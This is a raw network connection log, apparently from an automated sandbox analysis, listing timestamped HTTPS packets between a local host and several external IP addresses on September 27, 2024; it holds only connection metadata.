Sep 27, 2024 05:51:04.561655045 CEST	49900	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:04.567399979 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.588128090 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.588146925 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.588231087 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.588268042 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.588314056 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.588921070 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.588937044 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.588987112 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.589015007 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.589056969 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.590490103 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.590503931 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.590553999 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.590575933 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.590615988 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.591748953 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.591800928 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.591870070 CEST	49893	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.591906071 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.591954947 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.592035055 CEST	49893	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.599836111 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.599875927 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.599914074 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.599937916 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.599956989 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.599987984 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.612677097 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.612724066 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.612771034 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.612806082 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.612832069 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.612857103 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.612862110 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.612983942 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.617916107 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.644154072 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.650577068 CEST	49900	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:04.650630951 CEST	443	49900	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:04.651606083 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.651639938 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.652000904 CEST	49909	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.652110100 CEST	443	49909	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.652220011 CEST	49909	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.652550936 CEST	49909	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.652586937 CEST	443	49909	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.654036045 CEST	49893	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.654052019 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.654390097 CEST	49910	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.654412985 CEST	443	49910	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.654490948 CEST	49910	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.654896021 CEST	49910	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.654918909 CEST	443	49910	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.762825012 CEST	443	49904	98.98.25.17	192.168.2.5
Sep 27, 2024 05:51:04.767013073 CEST	49904	443	192.168.2.5	98.98.25.17
Sep 27, 2024 05:51:04.767025948 CEST	443	49904	98.98.25.17	192.168.2.5
Sep 27, 2024 05:51:04.768567085 CEST	443	49904	98.98.25.17	192.168.2.5
Sep 27, 2024 05:51:04.768642902 CEST	49904	443	192.168.2.5	98.98.25.17
Sep 27, 2024 05:51:04.770983934 CEST	49904	443	192.168.2.5	98.98.25.17
Sep 27, 2024 05:51:04.771102905 CEST	443	49904	98.98.25.17	192.168.2.5
Sep 27, 2024 05:51:04.782736063 CEST	49904	443	192.168.2.5	98.98.25.17
Sep 27, 2024 05:51:04.782747030 CEST	443	49904	98.98.25.17	192.168.2.5
Sep 27, 2024 05:51:04.814680099 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.814701080 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.814707994 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.814732075 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.814747095 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.814757109 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.814786911 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.814796925 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.814861059 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.842168093 CEST	49904	443	192.168.2.5	98.98.25.17
Sep 27, 2024 05:51:04.883677959 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.883697987 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.883712053 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.883852959 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.883866072 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.883928061 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.899358988 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.899393082 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.899492979 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.899538994 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.899583101 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.903542042 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.903554916 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.903633118 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.903645039 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.903691053 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.909593105 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:04.915227890 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.920094013 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.928622961 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.928641081 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.929158926 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.962215900 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.963901997 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:04.970354080 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.970360994 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.970372915 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.970448971 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.970463037 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.970514059 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.973768950 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.973784924 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.973845959 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.973853111 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.973893881 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.987787962 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.987804890 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.987903118 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.987934113 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.987970114 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.989044905 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.989059925 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.989128113 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.989135981 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.989176035 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.990199089 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.990216017 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.990262985 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.990272045 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.990313053 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.992197990 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.992213964 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.992264032 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.992273092 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.992306948 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.066844940 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.066860914 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.066996098 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.067020893 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.067733049 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.067749977 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.067789078 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.067795992 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.067823887 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.067861080 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.069242001 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.069253922 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.069324017 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.069329977 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.069366932 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.070338011 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.070354939 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.070424080 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.070430040 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.071940899 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.076450109 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.076464891 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.076525927 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.076560974 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.076602936 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.080303907 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.080324888 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.080404043 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.080434084 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.080476046 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.093846083 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.093859911 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.093981028 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.094027042 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.094073057 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.105348110 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.105361938 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.105464935 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.105509043 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.105561018 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.116851091 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.116866112 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.116944075 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.116981983 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.117027998 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.129194975 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.129209995 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.129295111 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.129323006 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.129369974 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.140666962 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.140687943 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.140754938 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.140784979 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.140829086 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.157604933 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.157624006 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.157735109 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.157758951 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.158317089 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.158380985 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.158386946 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.158411980 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.158422947 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.158446074 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.158478022 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.165363073 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.165378094 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.165465117 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.165498972 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.165541887 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.166348934 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.166363001 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.166419029 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.166429043 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.166464090 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.179410934 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.179426908 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.179529905 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.179555893 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.179605007 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.199765921 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.199780941 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.199871063 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.199899912 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.199944019 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.204246998 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.204265118 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.204471111 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.204479933 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.204965115 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.206300974 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.206331015 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.206389904 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.215329885 CEST	443	49866	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:05.215432882 CEST	443	49866	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:05.215501070 CEST	49866	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:51:05.219568014 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.219589949 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.219645977 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.219676971 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.219715118 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.220207930 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.220387936 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.222135067 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.222338915 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.228164911 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.228182077 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.228235960 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.228250027 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.228293896 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.229361057 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.229643106 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.231210947 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.231225014 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:05.231273890 CEST	49899	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.231442928 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.275317907 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:05.275408030 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.279396057 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.299285889 CEST	443	49902	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.335745096 CEST	443	49908	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:05.342477083 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.342499018 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.342545986 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.342622042 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.350794077 CEST	49902	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.380707026 CEST	443	49903	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.381731033 CEST	49908	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:05.431221008 CEST	49903	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.437056065 CEST	49866	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:51:05.437081099 CEST	443	49866	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:05.438038111 CEST	49902	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.438052893 CEST	443	49902	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.438209057 CEST	49908	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:05.438236952 CEST	443	49908	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:05.438580036 CEST	443	49902	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.438838005 CEST	443	49908	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:05.438875914 CEST	49903	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.438895941 CEST	443	49903	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.439488888 CEST	443	49903	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.439817905 CEST	49902	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.439877987 CEST	443	49902	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.449491978 CEST	49908	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:05.449647903 CEST	443	49908	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:05.449863911 CEST	49903	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.449963093 CEST	443	49903	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.450117111 CEST	49902	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.457087994 CEST	49908	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:05.457185030 CEST	49903	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.491405964 CEST	443	49902	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.494366884 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.494399071 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.494421959 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.494512081 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.494534016 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.494560957 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.494700909 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.494710922 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.494725943 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.494924068 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.494930983 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.494962931 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.494966030 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.495008945 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.495184898 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.496648073 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.496701002 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.497265100 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.498497963 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.499352932 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.499361038 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.499423981 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.499442101 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.501802921 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.503403902 CEST	443	49908	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:05.503410101 CEST	443	49903	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.509511948 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.509538889 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.509592056 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.509613991 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.509650946 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.559334040 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.595666885 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.595726967 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.595746994 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.595768929 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.595789909 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.595810890 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.595834017 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.595849991 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.595864058 CEST	443	49898	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.595866919 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.595901012 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.595926046 CEST	49898	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.603682041 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.603710890 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.603749990 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.603780985 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.603842974 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:05.608274937 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.608306885 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.608315945 CEST	443	49899	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:05.608362913 CEST	443	49899	47.108.5.198	192.168.2.5
